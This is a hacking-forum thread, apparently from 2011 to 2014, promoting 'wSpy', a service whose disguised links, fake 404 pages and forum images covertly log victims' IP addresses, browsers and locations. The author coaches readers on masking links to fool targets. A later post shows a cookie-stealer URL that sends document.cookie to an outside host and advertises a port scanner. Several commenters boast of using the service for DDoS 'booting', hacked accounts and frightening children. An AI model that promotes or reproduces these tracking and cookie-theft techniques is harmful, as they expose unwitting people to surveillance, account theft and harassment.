Thread: [\[OFFICIAL\] wSpy: The Ultimate IP Grabber](#)

carecare - May 16, 2011, 3:40 pm

[img]http://imageshack.us/m/651/3858/wspyle.png[/img]

wSpy is a project I started on in order to get better with web/html and programming, It turned out to be working better then expected, so I made a service out of it.

I'm a kind fellow, this service will always be free to all HF members!

[img]http://img840.imageshack.us/img840/2054/wwspy.png[/img]

NOW WITH OVER 1000+ users!

wSpy PRO is now available!

[>> Click here! <<](#)

wSpy is so much more than your ordinary IP Grabbing tool, It's a service which allows you to create a custom masked "wSpy" link, which you can send to anyone and instantly..

Get their IP Address, Find out where they live (Country), detect which browser they are using etc, all in one visit.

[img]http://img821.imageshack.us/img821/1906/wwspyf.png[/img]

[?] Logs IP Address

[?] Logs Browser Information

[?] Logs Geo Information (Where they live, Country)

[?] Logs WHOIS Information

[?] Fast, usually takes about 1 second to log the information

[?] Many possibilities, You can even log peoples IP Addresses from a forum link (using the wSpy image option) [\(video\)](#)

[?] Stealth, the victims won't notice anything

[?] The service is FREE

[?] The wSpy links can't be traced

[?] The service is anonymous and private

[?] All logs are encrypted with AES 256-Bit Encryption

[?] 3 unique link options

You have 3 options to hide your link:

Redirect them to a url (such as bit.ly [WARNING: potentially infected] does)

Redirect them to a fake 404 Page

Mask the link as a image (Only available for PRO users & Starter accounts)

Information about user levels

[img]http://img703.imageshack.us/img703/4862/wspyusg.png[/img]

I created this service with the intent of keeping things simple, I really hope I managed to do that, everybody should be able to use it.

You create your link -> send it to your victims -> wait for them to open it

It doesn't matter if they have disabled javascript or whatnot, it will log the information eitherway.

Below I will demonstrate a few succesfull IP grabbing attempts & methods:

[VIDEO] Using wSpy Redirect to log IP ([HD LINK](#))

[Video: <http://vimeo.com/23643976>]

-

[VIDEO] Using wSpy Image to log IP from a forum ([HD LINK](#))

(It's not recommended to send the image link unmasked)

[Video: <http://vimeo.com/23965829>]

-

[VIDEO] Using wSpy Fake 404 Error Page to log IP ([HD LINK](#))

[Video: <http://vimeo.com/23644121>]

wSpy Tips!

Don't send the unmasked wSpy Link directly to your victims, try and hide the link further by using a url shortening service such as <http://bit.ly> [WARNING: potentially infected]

Read above

While using the wSpy Image option, you don't have to use "picture.jpg" as the filename, you can use *anything*.jpg the url is customizable.

Since the image option isn't masked, it's not recommended to send that link directly, try using it in forums instead or other image services where the path isn't revealed.

If you delete your wSpy Link, all associated logs will get deleted too.

Happy logging!

Also, right now I decided to keep the service exclusive for HF members only.

SPREAD THE WORD!

If you want to support wSpy, please link it in your signature and tell other people what you think about the service, I love the feedback it's gotten so far, and I hope more users will enjoy this service :)

Reviewer

(May 21, 2011 09:15 PM)BioHaza?d™ Wrote: [\[CITE\]](#) Carecare had given me a trial and asked me to review his site. Note: This is not an 'Official Review' as Reviewers only provide official reviews to eBooks. This is merely a normal, user review.

I've been looking for a site like this for a while now. The one I used to use went down. From first impressions, carecare's wSpy looked clean, professional, and easy to use. The three different options for capturing IP addresses will make it much easier to trick someone to click a link and have no idea their IP was even logged. With just a bit of social engineering, you should be able to get anyone's IP. All the features appear to work quite well. Just about anyone will be able to use wSpy.

Pros: Very professional, free, works well, quite a few features, easy to navigate and use.

Cons: None that I can see.

Good luck. wSpy has a lot of potential and it looks like you spent quite a bit of time on it.

He is an AMAZING coder and scripter, and i would honestly pay neer \$30 for this product if it wasn't free. The only dissapointment i had was when he started taking away alot of things from free users like the computerhelp.com links. In short my overall rating: 11/10!

That's a really unfair comment, and also totally wrong. I coded it by myself, that kind of comment can be applied to every program out there, it's just rude.

I do know :) I'm also aware of that theres 50161 different trojans out there, point is?

Also, my service logs more then just the IP Address and the service is more friendly.

- It can log multiple IP Addresses
- Find out the victims browser
- You can mask your links, tell me can whatstheip log a users IP from a forum?
- You can organize your links
- Premium version will offer network ip detection and more
- It has alot of options and features

a little to short

jerryts - May 18, 2011, 7:48 pm

I'd love to give this a try if I could. The interface looks amazing and the redirection after logging sounds interesting

Prez001 - May 18, 2011, 9:15 pm

I could really use this, looks great

Would love to try it out.

paganxxxpride - May 18, 2011, 9:53 pm

All I can say is WOW! This looks really usefull for me. I am just getting into Nmap and Metasploit and this could help me get some IPs to scan.

Thanx for offering this service for free to HF members.

I think this is a good contribution and if I could I would +Rep you for sure.

Someone who can +Rep should +Rep this guy. You can tell you worked hard on not only the service but the thread as well.

Thank you for the contribution.

official10guru - May 18, 2011, 10:31 pm

wow this looks amazing, hope i can give it a try.

TomTheBeast - May 19, 2011, 4:39 am

Sending you a message now.

iSynthesis - May 19, 2011, 4:40 am

ok. so i've just checked it out, it works good, nice project,
some advices:

1. multiply IPs from the same PC, do something that won't add someone that is already logged.
2. you can't delete spesific person, only the whole log, that's bad.

other than that, it's nice, good work.

keving - May 19, 2011, 4:56 am

your work is great

actually i m looking for this plz PM me i had already pm u

ChipperNickel - May 19, 2011, 5:01 am

paganxxxpride - May 21, 2011, 12:08 am

I can vouch for this. I give it a 5/5 stars ?????

I signed up for this service and it works like a charm.

It works even better than <http://www.whatstheirip.com/>

I tried <http://www.whatstheirip.com/> and it worked maybe 3 times then just stoped sending me the

IPs, But The service being offered in this thread works great.

Awsome share!!

Thanx.

Carecare had given me a trial and asked me to review his site. Note: This is not an 'Official Review' as Reviewers only provide official reviews to eBooks. This is merely a normal, user review.

I've been looking for a site like this for a while now. The one I used to use went down. From first impressions, carecare's wSpy looked clean, professional, and easy to use. The three different options for capturing IP addresses will make it much easier to trick someone to click a link and have no idea their IP was even logged. With just a bit of social engineering, you should be able to get anyone's IP. All the features appear to work quite well. Just about anyone will be able to use wSpy.

Pros: Very professional, free, works well, quite a few features, easy to navigate and use.

Cons: None that I can see.

Good luck. wSpy has a lot of potential and it looks like you spent quite a bit of time on it.

Thanks for the review! I added it to the 1st page :) I might add that this version will always be free, so it's not a trial per say, the premium version (once released) will only contain more options & a bunch of new features :)

PM me the Link ? (:

because it looks very legit,

and btw, how much RAM does it take up? not alot, right ?

pure™ - May 26, 2011, 5:40 pm

Just want to say that you should really add the cookie grabber! This service is already amazing, but that would push it way above any other service already out there

carecare - May 26, 2011, 6:05 pm

Heres a update guys! What a busy day - coded the cookie service, what do you think? :) It's only a WIP.

[\[IMG\]http://img560.imageshack.us/img560/8366/icookie.png\[/IMG\]](http://img560.imageshack.us/img560/8366/icookie.png)

It would work similiar to the wSpy service, the links will look like this:

[http://wspylink.info/c/NtntA/c?="+document.cookie](http://wspylink.info/c/NtntA/c?=)

codydude56 - May 26, 2011, 6:17 pm

I will just quote you and tell you what you can do.

You can use the information to check what browser they use. What OS they use. Also you can check whereabouts they live. You can also use various DDoS methods and Boot them offline. You will be able to find programs like these in the Hacking Programs section of HF or in the Marketplace.
:)

[img]http://imageshack.us/m/651/3858/wspyle.png[/img]

wSpy is a project I started on in order to get better with web/html and programming, It turned out to be working better then expected, so I made a service out of it.

I'm a kind fellow, this service will always be free to all HF members!

[img]http://img840.imageshack.us/img840/2054/wwspy.png[/img]

NOW WITH OVER 300+ users!

wSpy is so much more than your ordinary IP Grabbing tool, It's a service which allows you to create a custom masked "wSpy" link, which you can send to anyone and instantly..

Get their IP Address, Find out where they live (Country), detect which browser they are using etc, all in one visit.

[img]http://img821.imageshack.us/img821/1906/wwspyf.png[/img]

[?] Logs IP Address

[?] Logs Browser Information

[?] Logs Geo Information (Where they live, Country)

[?] Logs WHOIS Information

[?] Fast, usually takes about 1 second to log the information

[?] Many possibilities, You can even log peoples IP Addresses from a forum link (using the wSpy image option) [\(video\)](#)

[?] Stealth, the victims won't notice anything

[?] The service is FREE

[?] The wSpy links can't be traced

[?] The service is anonymous and private

[?] All logs are encrypted with AES 256-Bit Encryption

[?] 3 unique link options

You have 3 options to hide your link:

Redirect them to a url (such as bit.ly [WARNING: potentially infected] does)

Redirect them to a fake 404 Page

Mask the link as a image

[img]http://img703.imageshack.us/img703/4862/wspyusg.png[/img]

I created this service with the intent of keeping things simple, I really hope I managed to do that, everybody should be able to use it.

You create your link -> send it to your victims -> wait for them to open it

It doesn't matter if they have disabled javascript or whatnot, it will log the information eitherway.

Below I will demonstrate a few succesfull IP grabbing attempts & methods:

[VIDEO] Using wSpy Redirect to log IP [\(HD LINK \)](#)

[Video: <http://vimeo.com/23644121>]

-

[VIDEO] Using wSpy Image to log IP from a forum ([HD LINK](#))
(It's not recommended to send the image link unmasked)
[Video: <http://vimeo.com/23965829>]

-

[VIDEO] Using wSpy Fake 404 Error Page to log IP ([HD LINK](#))
[Video: <http://vimeo.com/23643976>]

wSpy Tips!
Don't send the unmasked wSpy Link directly to your victims, try and hide the link further by using a url shortening service such as <http://bit.ly> [WARNING: potentially infected]
Read above
While using the wSpy Image option, you don't have to use "picture.jpg" as the filename, you can use *anything*.jpg the url is customizable.
Since the image option isn't masked, it's not recommended to send that link directly, try using it in forums instead or other image services where the path isn't revealed.
If you delete your wSpy Link, all associated logs will get deleted too.
Happy logging!

[img]<http://img824.imageshack.us/img824/5612/wspyget.png>[/img]

To obtain a wSpy account, all you got to do is PMing me that your interested and posting in the thread, then I will send you a invite link, right now I decided to keep the service exclusive for HF members only.

If I notice that the registration link has been leaked I will disable the registration and move to an invite system.

Also, don't worry if you don't get your invite right away, it may take 1-2 days to get the invitation since I will personally PM everyone that's interested.

I worked hard on this service, I hope it turns out to be useful. :)
Oh, and it's still in beta - so any feedback is appreciated!

SPREAD THE WORD!

If you want to support wSpy, please link it in your signature and tell other people what you think about the service, I love the feedback it's gotten so far, and I hope more users will enjoy this service :)

VeLo - June 14, 2011, 1:52 am

This is incredible. I can't believe how awesome this is! It's too easy to get IPs now lol.

Boo. - June 14, 2011, 2:49 am

Still can't get over the fact of how good wSpy is. :D I have been a member for around 1 month now. Still very good would've been a good seller but giving it free is a nice contribution! Been using wSpy for about a month now. I still can't believe how fast it is and how easy it is to get around the site. <3 Much love, much love.

TBR - June 14, 2011, 4:43 am

That's good thing! but maybe you have AV and MAC sanner?:)

You need to mask the link, using services such as bit.ly [WARNING: potentially infected] - wSpy PRO will contain many link alternatives, although it shouldn't be necessary.

You can use the forum technique (wSpy Image) for the hard targets, the possibilities are endless :P

3v0|v3 - June 22, 2011, 9:07 am

This program is amazing, it almost feels cheap because it is so easy to use.

Nyanstep - July 10, 2011, 5:53 pm

Any idea on when registration is going to be back up? I'm really interested in getting this, it looks really good, and the vouches are only making me want this more.

Dannilion - July 10, 2011, 6:08 pm

This looks great, i hope i can get the download link to this

Zeke™ - July 11, 2011, 12:41 am

Will look into this, Great work :)

Overdose - July 11, 2011, 12:45 am

Good job! messagetoshort. Good Job, but I use a different technique.

vibrant20 - July 11, 2011, 1:15 am

Well..Cant download the site os closed for registration for me.

justdidit - July 11, 2011, 2:10 am

All I can say is WOW! This looks really useful for me. Vouch man this is a great service!

OtakuPcGamer - July 11, 2011, 2:52 pm

still looking to get this... registration down

Forte - July 11, 2011, 3:01 pm

This was great! And still is great.

Sadly, the redirecting of a .tk link no longer can be set as a .jpg

It refuses to load them now:/

I'll just make an actual site and shit haha.

Anyway, this is an INCREDIBLE service.

Has my FULL vouch and it is totally worth buying premium.

mrgeo20 - July 11, 2011, 5:44 pm

sites still down, I can't register :c

drop_shot - July 11, 2011, 6:25 pm

boss_der - July 12, 2011, 8:26 am

i want the download link too please :D

poohead - July 12, 2011, 3:24 pm

Ok so I got my invite and have put it to use, so smooth. Got the IP without a hint of detection. But it would be so epic if you could implement some kind of booting service so that users can do all the work on one site rather than other means. But thanks a lot, great tool.

locknet - July 13, 2011, 6:20 am

waiting for the site to be online again :)

Jeff. - July 13, 2011, 7:00 am

Over 300 users that's amazing o.o

Thanks for the great share :) !

Cherish Life - July 30, 2011, 5:59 pm

Vouch:

I've reviewed Care care's product since the 1st page it came out and was one of the first to get this. I was extremely glad when he created this site, and a little dissapointed when he removed the computerhelp.com link, but wrdr was fine enough, and well enough i've gotten over 20+ Ips and hacked accounts and scared kids with this garenteed everytime.

Afrozavodsk - July 30, 2011, 7:03 pm

wSpy is a project I started on in order to get better with web/html and programming, It turned out to be working better then expected, so I made a service out of it.

I'm a kind fellow, this service will always be free to all HF members!

[img]http://img840.imageshack.us/img840/2054/wwspy.png[/img]

NOW WITH OVER 1000+ users! THANKS GUYS! I'M PROUD!

wSpy is so much more than your ordinary IP Grabbing tool, It's a service which allows you to create a custom masked "wSpy" link, which you can send to anyone and instantly..

Get their IP Address, Find out where they live (Country), detect which browser they are using etc, all in one visit.

[img]http://img821.imageshack.us/img821/1906/wwspyf.png[/img]

[?] Logs IP Address

[?] Logs Browser Information

[?] Logs Geo Information (Where they live, Country)

[?] Logs WHOIS Information

[?] Fast, usually takes about 1 second to log the information

[?] Many possibilities, You can even log peoples IP Addresses from a forum link (using the wSpy image option) [\(video\)](#)

[?] Stealth, the victims won't notice anything

[?] The service is FREE

[?] The wSpy links can't be traced

[?] The service is anonymous and private

[?] All logs are encrypted with AES 256-Bit Encryption

[?] 3 unique link options

You have 3 options to hide your link:

Redirect them to a url (such as bit.ly [WARNING: potentially infected] does)

Redirect them to a fake 404 Page

Mask the link as a image

[img]http://img703.imageshack.us/img703/4862/wspyusg.png[/img]

I created this service with the intent of keeping things simple, I really hope I managed to do that, everybody should be able to use it.

You create your link -> send it to your victims -> wait for them to open it

It doesn't matter if they have disabled javascript or whatnot, it will log the information eitherway.

Below I will demonstrate a few succesfull IP grabbing attempts & methods:

[VIDEO] Using wSpy Redirect to log IP ([HD LINK](#))

[Video: <http://vimeo.com/23644121>]

-

[VIDEO] Using wSpy Image to log IP from a forum ([HD LINK](#))

(It's not recommended to send the image link unmasked)

[Video: <http://vimeo.com/23965829>]

-

[VIDEO] Using wSpy Fake 404 Error Page to log IP ([HD LINK](#))

[Video: <http://vimeo.com/23643976>]

wSpy Tips!

Don't send the unmasked wSpy Link directly to your victims, try and hide the link further by using a url shortening service such as <http://bit.ly> [WARNING: potentially infected]

Read above

While using the wSpy Image option, you don't have to use "picture.jpg" as the filename, you can use *anything*.jpg the url is customizable.

Since the image option isn't masked, it's not recommended to send that link directly, try using it in forums instead or other image services where the path isn't revealed.

If you delete your wSpy Link, all associated logs will get deleted too.

Happy logging!

[img]http://img824.imageshack.us/img824/5612/wspyget.png[/img]

To obtain a wSpy account, click on the link below!

Spoiler ([Click to View](#))<http://www.wspy.org/register/?invcode=HF1261>

Also, right now I decided to keep the service exclusive for HF members only.

If I notice that the registration link has been leaked I will disable the registration and move to an invite system.

If you like it/or have suggestions please let me know by either writing in the thread or pm me :)

I worked hard on this service, I hope it turns out to be useful. :)

SPREAD THE WORD!

If you want to support wSpy, please link it in your signature and tell other people what you think about the service, I love the feedback it's gotten so far, and I hope more users will enjoy this service :)

Help my development! Upgrade me to ub3r for PRO and lifetime support & benefits!

I'm now back from my long vacation and i'm planning to release A LOT of stuff for you guys, I'm currently unemployed and i'm always in the shortage of money. If you would be kind enough to purchase me a ub3r account on HF it would help me significantly, not only that I would be able to use the ub3r features while talking to you guys better, It would help me push a wSpy Pro release Pro in max 7 days!

You will get this for doing that nice gesture:wSpy VIP account (PRO account with benefits)

The PHP code used to capture IP/OS

A private domain to use with wSpy at all times!

BONUS! I will purchase an early .com domain for my beloved wSpy Pro users! Your name will be added in the forum for supporting me with this! This is a one time offer, and whoever is first to reply and purchase me ub3r gets this perks! Thanks guys! <3

Yoshi™ - September 2, 2011, 9:40 pm

Works great, glad I became a member of this when it just came out. :-)

404NameNotFound - September 3, 2011, 9:43 am

Awesome stuff, keep it up! :D

Will the port scanner be on click or as a control like the whois?

Refresh! - September 3, 2011, 11:13 am

can i have the download link? id like to use your beast of a programme

HaloSparton - September 3, 2011, 11:53 am

Wait so does this help your spread or something???? so does this help you like turbo spread or something? I would be intersted if so. I just am a big ass noob and cant grasp the concept. Help is apprecieated, thanks

Rainbows - September 3, 2011, 11:56 am

is it still up and working? please pm me.

carecare - September 3, 2011, 12:05 pm

The portscanner is now online for testing! Starter users only! Please notify me if theres any ports you would like to get added for scan, enjoy! (Sep 3, 2011 09:43 AM)404NameNotFound Wrote:

OMG Dude this is so helpful I have viruses and they clicked on the link >:D (got malwarebytes btw) and I got my friend on facebook, recommend bit.ly

carecare - September 5, 2011, 9:47 pm

I'm currently debating over the wSpy PRO price.

Does 8usd seems fair for a wSpy PRO account? It's a one time cost, no additional fees, you will get a lot of features, some will be: Email notification on logs, a portscanner, iCookie Stealer access (cookie stealer), 20max links, access to the wSpy Image option (hot), new domains, new features, new log gui, automatic bit.ly [WARNING: potentially infected] creation, no log limit, free support and a whole lot of more stuff is planned to come :) gsdg sdg sg gsd g sg sdg sgdsd sdg sdggsdg gs dg d

mdhz786 - September 6, 2011, 7:46 am

Dude pls make a feature which will scan open ports and can exploit it and a feature which will give what exploit and how to do it

jacetbiddle - September 6, 2011, 8:32 am

if i can pre-order pro for a cheaper price let me know i have cash :)

zeekill - September 6, 2011, 9:01 am

So what special does this do? Anyone can make an IP logging .jpg, how is this better than that?

piesen - September 6, 2011, 10:37 am

nice share , thank you , very insteresting

relapse123 - September 6, 2011, 11:48 am

looks nice bro, looking forward to using this program :)

Kom - September 6, 2011, 11:51 am

I've loved this product since I got it months ago =) lol Glad to see it's still going I use it quite often.

Keep up the amazing work man =)

Anyone can make a javadriveby,crypter,trojan,keylogger using free source codes, yet people buy them for 45usd and more from the marketplace.

I'm offering a service, it's just click n go no hassle with setting up your own domain + ip grabbing scripts, also it's packed with a alot of neat features (some of them are even listed on the 1st page)

Whispa - September 6, 2011, 3:39 pm

This is a really cool gadget! It does work pretty cool for me.
Hope to use this later.

Hey! Thanks, yeah it works via facebook using the wSpy Image option :)

Inhee - September 7, 2011, 5:56 pm

EXCELLLENT! very nice man!!!!

will just wondering though, how do you get the pro version?

carecare - September 8, 2011, 7:08 pm

I'm very sorry for the recent downtime, wSpy has gotten quite big and my server is currently having problems dealing with all the requests, therefore I need to make some limits to figure out whats taking up the bandwidth, I really need money for a better server :(

I decided to disable the automatic log retrieve for free users (since that takes up a lot of bandwidth) I will hopefully be able to lift this limit, but in the meantime use F5, yet again i'm sorry.

safin_hawlery - September 9, 2011, 4:37 am

It looks nice, can I have that??

Thankss That is nice..

Can I have it?

Thanss

Thanks

carecare - September 9, 2011, 7:50 am

I'm sorry, I can't accept any new users until I get enough money to upgrade my hosting account, let's hope the pro version sells well, I never expected this amount of traffic..

EDIT: Registrations are open again!

Gebove - September 20, 2011, 2:46 pm

Yay for open registration! I've just registered and will hope to test this out soon.

A security measure is requiring me to pm you, so I'll be doing that now.

carecare - September 20, 2011, 11:50 pm

Hey! Would you be interested in a new wSpy option called wSpy mail? Well, basically you create a mail and when the target opens the letter hes info will get logged :) If so, post here if this sounds interesting!

I can also tell you the bug here, since you're online.

Basically, when your image has a transparent background, the background gets automatically black. Even if it's originally transparent.

Hey guys! wSpy PRO now has a holiday sale! It only costs 5usd :)

flpgdt - November 30, 2011, 7:28 am

Hey,

Found you guys by the google's. wSpy seems right what I need, but can't get to activate my account without PMing CareCare, and well, due to forums rules, can't do that yet -_-

My user on wSpy would be the same as here, would you mind allowing my user in there?

Thanks!

f.

Hello! Is this still being worked on?

savvymatthew - *October 23, 2013, 10:17 am*

Cool... i haven't checked this site in along time and it was down.... seems to be back up.

I love your site :)

Ascendon - October 23, 2013, 11:16 am

Hmm I cant sign up for some reason.

Says I need to purchase it because of the servers too full :P

Nvm

Brian Blessed - October 23, 2013, 12:03 pm

Big vouch. I'll be using this a lot :)

Solar Flare - December 26, 2013, 8:58 pm

Is this still up and running??

Thanks

numnul - December 31, 2013, 1:17 am

can anyone tell me if this still works?

LuLzKr3w - January 3, 2014, 2:06 pm

to everyone if it doesn't work, [www.#](#) does the same thing and is free and has a hidden image generator that you can send also you can attach a hidden html link to the page of your website to track anyone who enters the front page or all pages ;). [www.#](#) also bypasses some school proxies and other things to get those sneaky ip hiding people. It has a huge log basis you can go back to anytime and never misses. Just remember to save the ip logger number that is provided. If you need any help with that. PM me I use it quite frequently.

thegunner - January 4, 2014, 2:52 am

Whoah, good job mate, the interface looks stunnin

Elaatl - January 4, 2014, 4:14 am

looks nice, will test it on some friends to see if it works for me.

Chaoarii - January 11, 2014, 6:51 pm

Great tool to getting other's ip :D thanks

VpnNorthKorea - January 11, 2014, 11:52 pm

Hey thank you so much for giving me this program man!

savvymatthew - January 26, 2014, 9:20 am

Cant believe this site is still up... i used to use it all the time... its easily the best IP grabber ever.

OP : How are you doing with hosting and other money related things for the site ?

I notice it was down at one point

nuk - January 28, 2014, 1:12 pm

This reminds me of an old VB5 AOL Prog that I made that, when the user clicked a hyperlink that I sent in an IM, I would get their IP - It was basically like hosting a small file server from wherever I was at :) This looks great & I applaud you for the nice app :) Great work homie & thanks for the share :)

wurmtOngue - January 28, 2014, 6:29 pm

thats pretty useful ill have to favorite this

T0xic Vap0ur - January 28, 2014, 8:14 pm

Amazing IP grabber and also nice design for your website. By looking at your website makes me

want to make my own :)

trojansc - January 31, 2014, 9:50 pm

highly interested.

i will be pming you now.

slimmy - February 7, 2014, 5:36 am

wondering how this actually works with the link looking fake

Wildbwest - February 14, 2014, 6:25 pm

? the verification email is not coming to my email, and i am unable to use wspy.

Blackmouse - February 15, 2014, 5:51 pm
